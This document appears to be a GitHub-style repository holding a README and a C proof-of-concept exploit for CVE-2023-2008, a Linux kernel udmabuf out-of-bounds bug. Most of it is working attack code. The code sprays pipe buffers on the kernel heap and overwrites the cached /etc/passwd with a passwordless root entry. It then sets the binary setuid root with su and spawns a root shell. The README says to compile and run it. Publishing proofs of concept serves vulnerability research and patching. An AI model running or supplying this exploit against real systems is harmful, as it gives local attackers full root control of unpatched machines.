├── README.md └── exp.c /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-2008 2 | 3 | Proof of concept exploit for CVE-2023-2008, a bug in the udmabuf driver of the 4 | Linux kernel fixed in 5.19-rc4. 5 | 6 | You can find a description of the bug and the exploitation strategy in our [blog post](https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html). 7 | 8 | The exploit was tested on a vulnerable Ubuntu 22.04, and it requires access to the `/dev/udmabuf` device. This is only accessible to users in the `kvm` group, so you may need to add your test user to this group when testing the exploit. 9 | 10 | To test, simply compile with gcc and run the resulting binary. 11 | -------------------------------------------------------------------------------- /exp.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | #include 14 | 15 | #include 16 | 17 | #include 18 | 19 | #include 20 | #include 21 | 22 | #define PAGE_SIZE 4096 23 | 24 | #define N_PAGES_ALLOC 128 25 | 26 | #define N_PIPES_SPRAY 256 27 | 28 | struct udmabuf_create 29 | { 30 | uint32_t memfd; 31 | uint32_t flags; 32 | uint64_t offset; 33 | uint64_t size; 34 | }; 35 | 36 | #define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create) 37 | 38 | int main(int argc, char* argv[argc+1]) 39 | { 40 | if (geteuid() == 0) 41 | { 42 | printf("[+] backdoor triggered successfully!\n"); 43 | setresuid(0, 0, 0); 44 | setresgid(0, 0, 0); 45 | system("/bin/sh"); 46 | exit(EXIT_SUCCESS); 47 | } 48 | 49 | int mem_fd = memfd_create("test", MFD_ALLOW_SEALING); 50 | if (mem_fd < 0) 51 | errx(1, "couldn't create anonymous file"); 52 | 53 | /* setup size of anonymous file, the initial size was 0 */ 54 | if (ftruncate(mem_fd, PAGE_SIZE * N_PAGES_ALLOC) < 0) 55 | errx(1, "couldn't truncate file length"); 56 | 57 | /* make sure the file cannot be reduced in size */ 58 | if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) 59 | errx(1, "couldn't seal file"); 60 | 61 | printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, PAGE_SIZE * N_PAGES_ALLOC); 62 | 63 | int target_fd = open("/etc/passwd", O_RDONLY); 64 | if (target_fd < 0) 65 | errx(1, "couldn't open target file"); 66 | 67 | /* create a read-only shared mapping avoiding CoW */ 68 | void* target_map = mmap(NULL, PAGE_SIZE, PROT_READ, MAP_SHARED, target_fd, 0); 69 | if (target_map == MAP_FAILED) 70 | errx(1, "couldn't map target file"); 71 | 72 | printf("[*] target file mapped at %p (%#x bytes)\n", target_map, PAGE_SIZE); 73 | 74 | int dev_fd = open("/dev/udmabuf", O_RDWR); 75 | if (dev_fd < 0) 76 | errx(1, "couldn't open device"); 77 | 78 | printf("[*] udmabuf device fd=%d\n", dev_fd); 79 | 80 | size_t attempt = 0; 81 | 82 | int end = 0; 83 | while (! end) 84 | { 85 | printf("[!] attempt %zu\n", attempt++); 86 | 87 | /* spray pipes, by default the pipe buffers array land on kmalloc-1024 */ 88 | int pipe_fds[N_PIPES_SPRAY][2] = { 0 }; 89 | for (int i=0; i < N_PIPES_SPRAY; i++) 90 | { 91 | if (pipe(pipe_fds[i]) < 0) 92 | errx(1, "couldn't create pipe"); 93 | } 94 | 95 | printf("[*] sprayed %d pipes\n", N_PIPES_SPRAY); 96 | 97 | /* shrink some pipes making holes in kmalloc-1024 */ 98 | for (int i=0; i < N_PIPES_SPRAY; i++) 99 | { 100 | if (i % 2 == 0) 101 | { 102 | if (fcntl(pipe_fds[i][0], F_SETPIPE_SZ, PAGE_SIZE) < 0) 103 | errx(1, "couldn't shrink pipe"); 104 | } 105 | } 106 | 107 | struct udmabuf_create create = { 0 }; 108 | create.memfd = mem_fd; 109 | create.size = PAGE_SIZE * N_PAGES_ALLOC; 110 | 111 | /* reallocate one of the freed holes in kmalloc-1024 */ 112 | int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create); 113 | if (udmabuf_fd < 0) 114 | errx(1, "couldn't create udmabuf"); 115 | 116 | printf("[*] udmabuf fd=%d\n", udmabuf_fd); 117 | 118 | /* vmsplice to all pipes, should grab a page reference and 119 | * put the page pointer inside the pipe buf. hopefully one 120 | * of this is just after our pages array */ 121 | for (int i=0; i < N_PIPES_SPRAY; i++) 122 | { 123 | struct iovec iov = { 124 | .iov_base = target_map, 125 | .iov_len = PAGE_SIZE, 126 | }; 127 | 128 | if (vmsplice(pipe_fds[i][1], &iov, 1, 0) < 0) 129 | errx(1, "couldn't splice target page into pipes"); 130 | } 131 | 132 | /* map the udmabuf into userspace */ 133 | void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC, 134 | PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0); 135 | if (udmabuf_map == MAP_FAILED) 136 | errx(1, "couldn't map udmabuf"); 137 | 138 | printf("[*] udmabuf mapped at %p (%#x bytes)\n", 139 | udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC); 140 | 141 | /* remap the virtual mapping expanding its size */ 142 | void* new_udmabuf_map = mremap(udmabuf_map, 143 | PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE); 144 | if (new_udmabuf_map == MAP_FAILED) 145 | errx(1, "couldn't remap udmabuf mapping"); 146 | 147 | printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map, 148 | PAGE_SIZE * N_PAGES_ALLOC * 2); 149 | 150 | /* we should be out-of-bounds of the pages array */ 151 | char* ptr = new_udmabuf_map + PAGE_SIZE * N_PAGES_ALLOC; 152 | 153 | pid_t pid = fork(); 154 | if (pid < 0) 155 | errx(1, "couldn't fork"); 156 | 157 | if (! pid) 158 | { 159 | /* check if the oob succeded */ 160 | if (! memcmp(ptr, "root", 4)) 161 | exit(EXIT_SUCCESS); 162 | exit(EXIT_FAILURE); 163 | } 164 | 165 | int wstatus = -1; 166 | if (waitpid(pid, &wstatus, 0) < 0) 167 | errx(1, "couldn't wait for child"); 168 | 169 | if ((end = ! wstatus)) 170 | { 171 | printf("[+] heap spraying succeded\n"); 172 | 173 | char backdoor[] = "root::0:0:xroot:/root:/bin/bash"; 174 | char backup[sizeof(backdoor)] = { 0 }; 175 | 176 | memcpy(backup, ptr, sizeof(backup)); 177 | memcpy(ptr, backdoor, sizeof(backdoor)); 178 | 179 | printf("[*] backdoor installed\n"); 180 | 181 | char cmd[512]; 182 | sprintf(cmd, "su -c \"chown root:root %s && chmod u+s %s\"", 183 | argv[0], argv[0]); 184 | printf("[*] payload=%s\n", cmd); 185 | system(cmd); 186 | 187 | memcpy(ptr, backup, sizeof(backup)); 188 | printf("[*] backup restored\n"); 189 | } 190 | else 191 | { 192 | printf("[-] heap spraying failed\n"); 193 | 194 | /* roll back, we need to spray again */ 195 | munmap(new_udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC * 2); 196 | 197 | close(udmabuf_fd); 198 | 199 | for (int i=0; i < N_PIPES_SPRAY; i++) 200 | { 201 | close(pipe_fds[i][0]); 202 | close(pipe_fds[i][1]); 203 | } 204 | } 205 | } 206 | 207 | system(argv[0]); 208 | 209 | return EXIT_SUCCESS; 210 | } 211 | --------------------------------------------------------------------------------